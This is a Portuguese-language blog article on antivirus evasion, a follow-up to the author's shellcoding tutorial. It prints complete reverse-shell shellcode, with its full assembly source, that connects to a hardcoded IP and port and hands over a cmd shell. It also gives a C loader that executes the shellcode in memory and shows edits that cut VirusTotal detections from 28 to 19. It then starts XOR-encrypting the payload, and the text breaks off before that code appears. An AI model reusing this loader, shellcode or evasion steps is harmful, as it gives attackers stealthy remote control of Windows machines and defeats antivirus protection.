Home Evasão de Antivírus - Princípios Gerais e Abordagens Específicas
Post
Cancel

Evasão de Antivírus - Princípios Gerais e Abordagens Específicas

Evasão de Antivírus - Princípios Gerais e Abordagens Específicas

TL;DR

Este artigo explora diversas técnicas de evasão de antivírus (AV), oferecendo uma visão geral e exemplos práticos. Abordamos métodos como ofuscação de chamadas de função, criptografia de payloads e manipulação de APIs, que podem reduzir significativamente a detecção por motores de AV. Demonstramos como essas técnicas podem ser implementadas. Embora não sejam soluções infalíveis, essas abordagens são essenciais para entender as estratégias de análise de executáveis pelos AVs e aprimorar a segurança. A leitura completa fornece um detalhamento técnico e teórico, além de boas práticas e considerações sobre as tendências emergentes no campo.

Introdução

Em meu último artigo, abordei sobre os princípios de desenvolvimento de shellcodes. Durante o processo, acabei me aprofundando bastante em shellcodes voltados para o Windows SO, o que me despertou várias ideias para novos artigos.

Decidi, então, focar um tempo para explorar técnicas voltadas para explorações comuns destes ambientes, uma vez que o conteúdo desse tipo é bastante escasso em nosso idioma.

A ideia é de que um artigo só seja publicado, caso o seu conteúdo base já esteja em artigo(s) anterior(es). Com o passar do tempo, teremos um roadmap inteiro sobre diversos assuntos que se interligam.

Este artigo apresenta algumas técnicas gerais das quais os antivírus utilizam para identificar um executável como ameaça ou não, assim como técnicas para dificultar esta identificação.

Lembrando que cada AV possui técnicas e complexidades diferentes de análise e não existe uma bala de prata que sirva para tornar algo 100% indetectável, porém, este conteúdo serve como esclarecimento para ações que podem ser tomadas para desenvolver um exploit mais eficaz.

Esse processo de documentação, por mais que seja trabalhos, é muito prazeroso, pois nada mais é do que eu fazendo o que gosto e ainda compartilhando meu centavo com a comunidade.

Portanto, este artigo fará ligação direta com o Shellcoding 101 (diria extremamente dependente), recomendo fortemente lê-lo antes de dar o próximo passo aqui.

Boa leitura e boa sorte!

Desconstruindo para reconstruir

Durante o desenvolvimento dos shellcodes vários outros recursos foram gerados, como scripts em Go para trabalharmos com hexadecimais, scripts ASM contendo o shellcode em Assembly, programas em C e C++ para testarmos a injeção dos shellcodes.

O programa em C++ feito para testar os shellcodes no Windows SO, chama a atenção por um detalhe adjacente. Ele foi feito para simular um programa vulnerável que nos permite a injeção de uma string de bytes, porém, ele pode ser visto de outras formas.

Uma vez que temos um programa que consegue injetar esta string de bytes na memória e executá-lo, então este programa também pode ser utilizado com fins maliciosos, ou seja, ele pode ser um agente, um stager, um dropper e até mesmo um malware no sentido geral.

Abaixo o código-fonte do último exemplo utilizado no artigo que gera um reverse shell invocando APIs do Windows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char shellcode[] =
"\x31\xc0\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x14\x8b\x00\x8b\x00\x8b\x58\x10\x31\xd2\x68\x73\x73\x4e\x4e\x66\x81\x6c\x24\x02\x4e\x4e\x68\x64\x64\x72\x65\x68\x72\x6f\x63\x41\x68\x47\x65\x74\x50\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x4a\x20\x01\xd9\x89\x4d\xfc\x8b\x52\x1c\x01\xda\x31\xc0\x31\xc9\x89\xe6\x8b\x7d\xfc\x8b\x3c\x87\x01\xdf\x66\x83\xc1\x07\xf3\x66\xa7\x74\x03\x40\xe2\xe8\x83\xc0\x02\x8b\x3c\x82\x01\xdf\x89\xfd\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd5\x68\x33\x32\x4e\x4e\x66\x81\x6c\x24\x02\x4e\x4e\x68\x77\x73\x32\x5f\x54\xff\xd0\x89\xc6\x68\x75\x70\x4e\x4e\x66\x81\x6c\x24\x02\x4e\x4e\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x56\xff\xd5\x31\xd2\x66\xba\x90\x01\x29\xd4\x54\x52\xff\xd0\x68\x74\x41\x4e\x4e\x66\x81\x6c\x24\x02\x4e\x4e\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x56\xff\xd5\x31\xd2\x52\x52\x52\xb2\x06\x52\x80\xea\x05\x52\x42\x52\xff\xd0\x50\x5f\x68\x65\x63\x74\x4e\x66\x83\x6c\x24\x03\x4e\x68\x63\x6f\x6e\x6e\x54\x56\xff\xd5\xba\xc1\xa9\x48\x81\x81\xea\x01\x01\x01\x01\x52\x66\x68\x20\xfb\x31\xd2\xb2\x02\x66\x52\x89\xe2\x6a\x10\x52\x57\xff\xd0\x68\x73\x41\x4e\x4e\x66\x81\x6c\x24\x02\x4e\x4e\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd5\x89\xde\x68\x63\x6d\x64\x4e\x66\x83\x6c\x24\x03\x4e\x89\xe3\x57\x57\x57\x31\xff\x6a\x12\x59\x57\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\xc6\x44\x24\x10\x44\x8d\x4c\x24\x10\x54\x51\x57\x57\x57\x47\x57\x4f\x57\x57\x53\x57\xff\xd0\x68\x65\x73\x73\x4e\x66\x83\x6c\x24\x03\x4e\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x56\xff\xd5\x31\xc9\x51\xff\xd0";

int main() {
    size_t shellcode_size = sizeof(shellcode) - 1;

    void *exec_mem = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (exec_mem == NULL) {
        fprintf(stderr, "Falha na alocação de memória.\n");
        exit(EXIT_FAILURE);
    }

    memcpy(exec_mem, shellcode, shellcode_size);

    void (*func)() = (void(*)())exec_mem;
    func();

    return 0;
}

Uma vez que este programa foi a forma mais simples de injetar e executar um shellcode em um espaço de memória, ele não foi pensado para lidar com nenhum tipo de bloqueio proveniente de um antivírus.

Ao analisarmos no VirusTotal, podemos ver que foi identificado como ameaça por 28 antivírus:

Alterando os mecanismos

Conforme entendemos sobre algumas das técnicas de análise dos antivírus, vamos desconstruir este programa e analisá-lo linha-a-linha, em cada oportunidade aplicarmos uma melhoria.

  • As linhas de 1 a 3 importam as bibliotecas necessárias para a execução do programa;
  • A linha 5 contém o shellcode a ser injetado;
  • As linhas de 7 a 23 contém a função main;

A linha 8 cria uma variável que armazena o tamanho do shellcode. A princípio, retiraremos sua declaração de dentro da main para torná-la uma variável global e alteraremos seu formato de size_t para unsigned int.

1
unsigned int shellcode_size = sizeof(shellcode);

Esta alteração ocorre, pois size_t é comumente utilizado para representar tamanhos e contagens de objetos. Ele é o tipo retornado por sizeof sendo usado para expressar tamanhos de objetos em bytes.

Não que isso fará de fato diferença, ou que o size_t não deva ser utilizado no código (inclusive utilizaremos), mas é que neste trecho em específico, ele está sendo usado justamente no shellcode e qualquer implementação que possa causar menos suspeita pode ajudar.

Enquanto unsigned int é um inteiro genérico, em outras palavras, size_t dentro do nosso programa causa muito mais suspeitas por expressar tamanhos de objetos em bytes.

Outra observação importante, é sobre as permissões.

A linha 10 aloca um buffer de memória do tamanho do shellcode e o marca com permissão de execução, leitura e escrita (PAGE_EXECUTE_READWRITE), este comportamento é considerado malicioso pela maioria dos mecanismos de antivírus, uma vez que é extremamente raro em um canário real, uma região de memória possuir estas permissões ao mesmo tempo.

Para diminuirmos as suspeitas, podemos separar esta ação em duas partes:

  1. Alocamos um buffer de memória somente com permissões de leitura e escrita (PAGE_READWRITE);
  2. Copiamos o shellcode para este buffer;
  3. Alteramos as permissões deste buffer para execução e leitura;

Desta forma, nunca teremos um espaço na memória com todas as permissões. Sendo assim, no código original, alteraremos o trecho:

1
void *exec_mem = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

Para:

1
void *exec_mem = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

Removeremos as linhas de 12 a 15 que contém um if desnecessário para nosso objetivo atual.

Copiaremos nosso shellcode para o buffer. Repare que esta ação já existe na linha 17:

1
memcpy(exec_mem, shellcode, shellcode_size);

Porém, esta linha contém outro problema: a função memcpy() é considerada vulnerável. Analisando seu formato original:

1
void *memcpy(void *dest, const void *src, size_t n);

Sabemos que a memcpy não lida bem com sobreposição de memória. Se as regiões de origem e destino se sobrepõem, o comportamento é indefinido. Isso significa que se src e dest apontarem para regiões de memória que se sobrepõem, memcpy pode causar corrupção de dados.

Portanto, seu uso já pode alertar mecanismos de antivírus sobre a insegurança do programa.

Ao invés de utilizá-la, podemos usar a função RtlMoveMemory que faz parte das APIs do Windows (MSDN), esta função lida corretamente com sobreposição de memória. Isso significa que mesmo se as regiões de origem e destino se sobrepõem, a função garantirá que os dados sejam copiados corretamente sem corrupção.

1
VOID RtlMoveMemory(PVOID Destination, const VOID* Source, SIZE_T Length);

Substituindo no código-fonte, temos:

1
RtlMoveMemory(exec_mem, shellcode, shellcode_size);

Uma vez com o shellcode copiado para o buffer, podemos utilizar a função VirtualProtect das APIs do Windows, para alterar as permissões deste buffer. Esta função retorna um valor booleano de acordo com seu sucesso e tem o seguinte formato:

1
2
3
4
5
6
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

Note que seu último argumento é lpflOldProtect, sendo um ponteiro para uma variável que receberá o valor das permissões de proteção anteriores da região de memória. oldprotect será usado para armazenar as permissões originais, permitindo que elas sejam restauradas mais tarde, se necessário.

Portanto, precisaremos criar uma variável com uma DWORD nula para apontar nesta função:

1
DWORD oldProtect = 0;

Neste caso:

  • DWORD, pois é o formato do argumento;
  • 0 = NULL, pois não nos interessa voltar as permissões anteriores.

Montando a função no código, temos a seguinte linha:

1
rx = VirtualProtect(exec_mem, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);

Por fim, as linhas 19 e 20 do código original, são responsáveis pela execução do buffer. Como a função VirtualProtect retorna um booleano, criaremos uma condição onde caso a resposta difira de zero, vamos executar este bufffer, porém em uma nova thread.

Para isso, utilizaremos a função CreateThread as APIs do Windows. Esta função cria um thread para ser executado no espaço de endereço virtual do processo de chamada.

CreateThread retorna um manipulador (HANDLE) para a nova thread se a criação for bem-sucedida. Se a criação falhar, retorna NULL. Sua sintaxe é:

1
2
3
4
5
6
7
8
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

Montando esta função, temos a seguinte linha:

1
thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);

Onde:

  • lpThreadAttributes (0): Um ponteiro para uma estrutura SECURITY_ATTRIBUTES que define a segurança da thread. Passar 0 (ou NULL) usa as configurações de segurança padrão, herdando do processo pai.
  • dwStackSize (0): Define o tamanho da pilha da thread em bytes. Passar 0 usa o tamanho padrão da pilha.
  • lpStartAddress ((LPTHREAD_START_ROUTINE) exec_mem): Um ponteiro para a função que será executada pela nova thread. Aqui, exec_mem é convertido para o tipo LPTHREAD_START_ROUTINE, que é um ponteiro para uma função que retorna DWORD e aceita um único parâmetro do tipo LPVOID.
  • lpParameter (0): Um ponteiro para o parâmetro que será passado para a função da thread. Passar 0 (ou NULL) significa que nenhum parâmetro específico está sendo passado.
  • dwCreationFlags (0): Flags de criação da thread. Passar 0 faz com que a thread seja criada em estado de execução. Se CREATE_SUSPENDED fosse passado, a thread seria criada, mas não iniciada até ser explicitamente retomada.
  • lpThreadId (0): Um ponteiro para uma variável que receberá o identificador da nova thread. Passar 0 (ou NULL) significa que o identificador da thread não será armazenado.

Em seguida, utilizaremos a função WaitForSingleObject as APIs do Windows para esperar a execução da thread.

A função WaitForSingleObject espera que o objeto especificado seja sinalizado ou que o intervalo de tempo especificado expire. Ela tem a seguinte sintaxe:

1
2
3
4
DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);

Onde:

  • hHandle: Um manipulador para o objeto de sincronização. Neste caso, thread é o manipulador da thread criada anteriormente com CreateThread.
  • dwMilliseconds: O intervalo de tempo, em milissegundos, pelo qual a função espera que o objeto seja sinalizado. Passar -1 (ou INFINITE) faz com que a função espere indefinidamente até que o objeto seja sinalizado.

Montando a função no código, temos a seguinte linha:

1
WaitForSingleObject(thread, -1);

Portanto, a condição que montaremos no código fica da seguinte forma:

1
2
3
4
if ( rx != 0 ) {
	thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
	WaitForSingleObject(thread, -1);
}

Uma vez com estas alterações, o código final deve estar da seguinte forma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char shellcode[] = "\x31\xc0\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x14\x8b\x00\x8b\x00\x8b\x58\x10\x31\xd2\x68\x73\x73\x4e\x4e\x66\x81\x6c\x24\x02\x4e\x4e\x68\x64\x64\x72\x65\x68\x72\x6f\x63\x41\x68\x47\x65\x74\x50\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x4a\x20\x01\xd9\x89\x4d\xfc\x8b\x52\x1c\x01\xda\x31\xc0\x31\xc9\x89\xe6\x8b\x7d\xfc\x8b\x3c\x87\x01\xdf\x66\x83\xc1\x07\xf3\x66\xa7\x74\x03\x40\xe2\xe8\x83\xc0\x02\x8b\x3c\x82\x01\xdf\x89\xfd\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd5\x68\x33\x32\x4e\x4e\x66\x81\x6c\x24\x02\x4e\x4e\x68\x77\x73\x32\x5f\x54\xff\xd0\x89\xc6\x68\x75\x70\x4e\x4e\x66\x81\x6c\x24\x02\x4e\x4e\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x56\xff\xd5\x31\xd2\x66\xba\x90\x01\x29\xd4\x54\x52\xff\xd0\x68\x74\x41\x4e\x4e\x66\x81\x6c\x24\x02\x4e\x4e\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x56\xff\xd5\x31\xd2\x52\x52\x52\xb2\x06\x52\x80\xea\x05\x52\x42\x52\xff\xd0\x50\x5f\x68\x65\x63\x74\x4e\x66\x83\x6c\x24\x03\x4e\x68\x63\x6f\x6e\x6e\x54\x56\xff\xd5\xba\xc1\xa9\x48\x81\x81\xea\x01\x01\x01\x01\x52\x66\x68\x20\xfb\x31\xd2\xb2\x02\x66\x52\x89\xe2\x6a\x10\x52\x57\xff\xd0\x68\x73\x41\x4e\x4e\x66\x81\x6c\x24\x02\x4e\x4e\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd5\x89\xde\x68\x63\x6d\x64\x4e\x66\x83\x6c\x24\x03\x4e\x89\xe3\x57\x57\x57\x31\xff\x6a\x12\x59\x57\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\xc6\x44\x24\x10\x44\x8d\x4c\x24\x10\x54\x51\x57\x57\x57\x47\x57\x4f\x57\x57\x53\x57\xff\xd0\x68\x65\x73\x73\x4e\x66\x83\x6c\x24\x03\x4e\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x56\xff\xd5\x31\xc9\x51\xff\xd0";

unsigned int shellcode_size = sizeof(shellcode);

int main(void) {
    DWORD oldProtect = 0;
    BOOL rx;
    HANDLE thread;

    void *exec_mem = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    RtlMoveMemory(exec_mem, shellcode, shellcode_size);

    rx = VirtualProtect(exec_mem, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);

    if ( rx != 0 ) {
        thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
        WaitForSingleObject(thread, -1);
    }

    return 0;
}

Agora podemos compilar o programa, e submeter novamente no VirusTotal em sua forma atual.

Abaixamos a identificação de ameaça de 28 para 19 antivírus somente com as implementações feitas. Foram simples implementações no código, que trouxeram simples resultados. A seguir continuaremos com mais alterações.

Ofuscando o shellcode

Por mais que nosso shellcode seja uma string de bytes, é muito fácil de ser interpretado por um AV ou até mesmo por alguém que faça engenharia reversa. Muitos antivírus tem a funcionalidade de ler as strings hardcoded no programa para identificar comportamento malicioso.

Para dificultar este processo, podemos criptografar nosso shellcode que está hardcoded no programa e descriptografá-lo em tempo de execução. Neste ponto, existe uma infinidade de técnicas e algoritmos que podemos usar, quanto melhor a eficácia da criptografia, mais difícil será a identificação do shellcode.

Por fins de simplicidade no exemplo, utilizaremos a XOR encryption.

XOR encryption

A criptografia XOR (Exclusive OR) é um método simples de cifragem simétrica que usa a operação lógica XOR para encriptar e decriptar dados. A operação XOR é uma das operações lógicas básicas e funciona da seguinte maneira: para dois bits de entrada, se os bits forem iguais (ambos 0 ou ambos 1), o resultado é 0; se forem diferentes (um 0 e outro 1), o resultado é 1.

Princípios Básicos

A operação XOR é simbolizada pelo operador ^ em muitas linguagens de programação. Tabela verdade para a operação XOR:

1
2
3
4
5
6
A | B | A XOR B
--+---+--------
0 | 0 |   0
0 | 1 |   1
1 | 0 |   1
1 | 1 |   0

É por isso que a operação ASM xor eax, eax zera o registrador EAX, uma vez que o XOR é executado em bits iguais, o resultado sempre será 0.

Encriptação

Para encriptar um dado, você aplica a operação XOR entre cada bit do texto claro (mensagem original) e uma chave. A chave deve ter o mesmo tamanho ou ser repetida para cobrir o tamanho do texto claro.

Por exemplo, se o texto claro é “HELLO” e a chave é “XMCKL”, você converte ambos para seus valores binários, aplica a operação XOR em cada par de bits correspondente, e converte o resultado de volta para texto.

Decriptação

O processo de decriptação é o mesmo que a encriptação: aplica-se a operação XOR entre o texto cifrado e a mesma chave usada para encriptar. A propriedade da operação XOR permite que, ao aplicar a mesma chave novamente, o texto claro original seja recuperado.

Exemplo Simples

Usaremos caracteres ASCII para ilustrar:

  • Texto claro: “H” (ASCII 72) -> 01001000
  • Chave: “K” (ASCII 75) -> 01001011

Encriptação:

1
2
3
4
    01001000 (H)
XOR 01001011 (K)
    ---------
    00000011 (texto cifrado)

O texto cifrado é 00000011 (ASCII 3). Para decriptar:

Decriptação:

1
2
3
4
    00000011 (texto cifrado)
XOR 01001011 (K)
	---------
	01001000 (H)

Recuperamos o texto claro original “H”.

Segurança

A criptografia XOR é extremamente simples e, por si só, não é segura para a maioria das aplicações práticas, especialmente se a chave for reutilizada. Alguns pontos importantes:

  1. Reutilização de Chaves: Se a mesma chave for reutilizada para diferentes textos claros, padrões podem ser descobertos e o texto claro pode ser recuperado.
  2. Chaves Longas: Para maior segurança, a chave deve ser tão longa quanto o texto claro e usada apenas uma vez (One-Time Pad). Quando a chave é completamente aleatória e usada apenas uma vez, a criptografia XOR é teoricamente inquebrável.
  3. Pseudorandomness: Em sistemas práticos, chaves pseudoaleatórias são usadas, mas isso pode introduzir fraquezas se o gerador de números pseudoaleatórios não for forte.

Aplicando XOR no shellcode

Recapitulando o shellcode desenvolvido no último artigo, temos o seguinte código ASM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
global _start

section .text

_start:

getKernel32:

    xor eax, eax            ;zerando o registrador
    mov eax, [fs:0x30]      ;movendo o offset da PEB de fs (File Segment) para eax
    mov eax, [eax + 0x0c]   ;movendo o offset da LDR (PEB + 0x00c) para eax
    mov eax, [eax + 0x14]   ;movendo o offset da InMemoryOrderModuleList (LDR + 0x014) para eax
    mov eax, [eax]          ;carregando o endereço efetivo do primeiro modulo - o executavel em si
    mov eax, [eax]          ;carregando o endereço efetivo do segundo modulo - ntdll.dll
    mov ebx, [eax + 0x10]   ;carregando o endereço base do terceiro modulo - kernel32.dll

getProcAddress:

    ;enviando nome da função para stack
    xor edx, edx                ;zerando o registrador
    push 0x4e4e7373             ;movendo NNss para stack
    sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
    push 0x65726464             ;movendo erdd para stack
    push 0x41636f72             ;movendo Acor para stack
    push 0x50746547             ;movendo PteG para stack
    ;encontrando o endereço da Export Table e armazenando em edx
    mov edx, [ebx + 0x3c]       ;conteudo de 0x3c é f8 e foi movido para edx
    add edx, ebx                ;adicionado o endereço base da kernel32 a f8
    mov edx, [edx + 0x78]       ;adicionado 0x78 (170 - f8) para obter o RVA de Image Export Directory
    add edx, ebx                ;adicionado o endereço base da kernel32 para obter o endereço base de Image Export Directory
    ;encontrando o endereço da Export Name Pointer table e armazenando em ecx
    mov ecx, [edx + 0x20]       ;adicionadno 0x20 para obter o RVA da Export Name Pointer Table
    add ecx, ebx                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Name Pointer Table
    mov [ebp-4], ecx            ;movendo o endereço base de Export Name Pointer Table para a variavel [ebp-4]
    ;encontrando o endereço de Export Address table e armazenando em edx
    mov edx, [edx + 0x1c]       ;adicionando 0x1c para obter o RVA da Export Address Table
    add edx, ebx                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Address Table

;encontrando o endereço da GetrProcAddress na kernel32.dll com loop
        xor eax, eax                    ;zerando o registrador para uso no loop
findproc:

    xor ecx, ecx            ;zerando o registrador para ser usado em comparações de string
    mov esi, esp            ;movendo GetrProcAddress da stack para esi
    mov edi, [ebp-4]        ;movendo o endereço base da Export Name Pointer Table para edi
    mov edi, [edi + eax*4]  ;endereço base da Export Name Pointer Table + valor ordinal * 4, edi = RVA do função buscada pelo nome
    add edi, ebx            ;adicionando o endereço base da kernel32 ao RVA da função
    add cx, 7               ;movendo o comprimento da string GetrProcAddress para cx: GetProcAddress = 14 bytes = 7 WORD
    repe cmpsw              ;compara o numero de WORDS no registrador cx da esquerda para direita com edi e esi, armazena a saída na flag ZF
    jz findaddr             ;pula para findaddr e quebra o loop se a flag ZE for TRUE
    inc eax                 ;incrementa o contador que contém o ordinal
    loop findproc           ;loop no findproc
findaddr:

    add eax, 2              ;aplicando a correção no contador de ebx
    mov edi, [edx + eax*4]  ;corrigindo o valor de edi
    add edi, ebx            ;adicione o endereço base do kerneldll32 ao endereço acima para obter o endereço GetProcAddress
    mov ebp, edi            ;carregando o endereço da GetProcAddress em ebp

loadLibraryA:

	xor ecx, ecx    ;zerando o registrador
	push ecx        ;enviando 0x0 como string terminator
	push 0x41797261 ;enviando Ayra para stack
	push 0x7262694c ;enviando rbiL para Stack
	push 0x64616f4c ;enviando daoL para stack
	push esp        ;enviando ponteiro da string para stack
	push ebx        ;enviando ponteiro da kernel32.dll para stack
	call ebp        ;chamando GetProcAddress("kernel32.dll", "LoadLibraryA")

ws2_32:

	push 0x4e4e3233              ;movendo NN32 para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x5f327377              ;movendo _2sw para stack
	push esp                     ;movendo ponteiro para string para a stack
	call eax                     ;chamando LoadLibraryA(ws2_32)
	mov esi, eax                 ;salvando ponteiro para ws2_32 para uso recorrente

WSAStartup:

	push 0x4e4e7075              ;movendo NNpu para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x74726174              ;movendo trat para stack
	push 0x53415357              ;movendo SASW para stack
	push esp                     ;movendo ponteiro da string para a stack
	push esi                     ;movendo ponteiro da ws2_32 para esi
	call ebp                     ;chamando GetProcAddress("ws2_32.dll", "WSAStartup")

WSAStartupCall:

	xor edx, edx    ;zerando registrador
	mov dx, 0x190   ;preparando espaço para WSADATA
	sub esp, edx    ;alocando o espaço para WSADATA
	push esp        ;movendo ponteiro para este espaço
	push edx        ;enviando o parametro wVersionRequested para stack
	call eax        ;chamando WSAStartup(MAKEWORD(2, 2), wsadata_pointer)

WSASocketA:

	push 0x4e4e4174              ;movendo NNAt para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x656b636f              ;movendo ekco para stack
	push 0x53415357              ;movendo SASW para stack
	push esp                     ;movendo ponteiro da string para a stack
	push esi                     ;movendo ponteiro da ws2_32 para esi
	call ebp                     ;chamando GetProcAddress("ws2_32.dll", "`WSASocketA")

WSASocketACall:

	xor edx, edx    ;zerando registrador
	push edx        ;dwFlags=NULL
	push edx        ;g=NULL
	push edx        ;lpProtocolInfo=NULL
	mov dl, 0x6     ;edx==6
	push edx        ;protocol=6
	sub dl, 0x5     ;edx==1
	push edx        ;type=1
	inc edx         ;edx==2
	push edx        ;af=2
	call eax        ;call WSASocketA
	push eax        ;enviando retorno para stack
	pop edi         ;salvando socket em edi

Connect:

	push 0x4e746365            ;movendo Ntce para stack
	sub word [esp + 0x3], 0x4e ;removendo o "N"
	push 0x6e6e6f63            ;movendo nnoc para stack
	push esp                   ;movendo ponteiro da string para a stack
	push esi                   ;movendo ponteiro da ws2_32 para esi
	call ebp                   ;chamando GetProcAddress("ws2_32.dll", "connect")

ConnectCall:

	 mov edx, 0x8148A9C1    ;movendo 192.168.71.128 + 0x01010101 para a stack
	 sub edx, 0x01010101    ;subtraindo 0x01010101
	 push edx               ;movendo ponteiro da sin_addr para a stack
	 push word 0xFB20       ;movendo porta 8443 = 0x20FB para a stack
	 xor edx, edx
	 mov dl, 2
	 push dx
	 mov edx, esp
	 push byte 0x10
	 push edx
	 push edi
	 call eax               ;chamando connect

CreateProcessA:

	push 0x4e4e4173              ;movendo NNAs para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x7365636f              ;movendo seco para stack
	push 0x72506574              ;movendo rPet para stack
	push 0x61657243              ;movendo aerC para stack
	push esp                     ;movendo ponteiro da string para a stack
	push ebx                     ;movendo ponteiro da kernel32 para esi
	call ebp                     ;chamando GetProcAddress("kernel32.dll", "CreateProcessA")
	mov esi, ebx                 ;salvando kernel32 em um novo ponteiro

cmd:

	push 0x4e646d63            ;movendo Ndmc para stack
	sub word [esp + 0x3], 0x4e ;removendo o "N"
	mov ebx, esp               ;movendo ponteiro da string para a stack
        ;configurando a estrutura STARTUPINFO
	push edi                   ;preenchendo o argumento hStdError com o socket
	push edi                   ;preenchendo o argumento hStdOutput com o socket
	push edi                   ;preenchendo o argumento hStdInput com o socket
	xor edi, edi               ;limpando edi par usar com os NULLs que precisamos
	push byte 0x12             ;enviaremos 18 * 4 = 72 null bytes para stack (tamanho da estrutura da STARTUPINFOA)
	pop ecx                    ;preparando ecx para o loop

looper:

	push edi                         ;enviando uma dword null para stack
	loop looper                      ;fazendo o loop até enviar para stack os nulls suficientes
	mov word [esp + 0x3c], 0x0101    ;configurando dwFlags para STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
	mov byte [esp + 0x10], 0x44      ;configurando cb com o tamanho da estrutura 0x44 = 68 decimal
	lea ecx, [esp + 0x10]            ;configurando ecx como um ponteiro para a estrutura STARTUPINFO
	;montando e chamando CreateProcessA
	push esp                         ;enviando ponteiro da PROCESS_INFORMATION para stack
	push ecx                         ;enviando ponteiro da STARTUPINFOA para stack
	push edi                         ;argumento lpCurrentDirectory será NULL então o processo inicializará no mesmo diretório do processo pai
	push edi                         ;argumento lpEnvironment será NULL então o processo terá o mesmo ambiente do processo pai
	push edi                         ;argumento dwCreationFlags será NULL
	inc edi                          ;edi==1
	push edi                         ;argumento bInheritHandles=TURE
	dec edi                          ;edi==0
	push edi                         ;argumento lpThreadAttributes será NULL
	push edi                         ;argumento lpProcessAttributes será NULL
	push ebx                         ;argumento lpCommandLine apontará para "cmd,0"
	push edi                         ;argumento lpApplicationName será NULL
	call eax                         ;chamando CreateProcessA

ExitProcess:

	push 0x4e737365            ;movendo Nsse para stack
	sub word [esp + 0x3], 0x4e ;removendo o "N"
	push 0x636f7250            ;movendo corP para stack
	push 0x74697845            ;movendo tixE para stack
	push esp                   ;movendo ponteiro da string para a stack
	push esi                   ;movendo ponteiro da kernel32 para esi
	call ebp                   ;chamando GetProcAddress("kernel32.dll", "ExitProcess")

	;chamando ExitProcess
	xor ecx, ecx               ;zerando registrador
	push ecx                   ;enviando 0x00 para stack
	call eax                   ;chamando ExitProcess

Em seguida o compilamos para ter um executável ELF chamado shell:

1
2
$ nasm -f elf shell.asm
$ ld -m elf_i386 -o shell shell.o

Com o binário shell, precisamos de alguns passos para aplicar a XOR encryption, o primeiro passo é convertê-lo em um raw binary, ou seja, um arquivo que contenha os bytes puros do shellcode, podemos utilizar o objcopy.

1
$ objcopy -O binary shell shell.bin

Com o arquivo shell.bin sendo um raw binary, criei um programa em Go que lê o conteúdo do arquivo e, para cada byte, aplica a XOR encryption com uma chave especificada, neste exemplo a chave será 7h3L0s7C4rc0s4.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
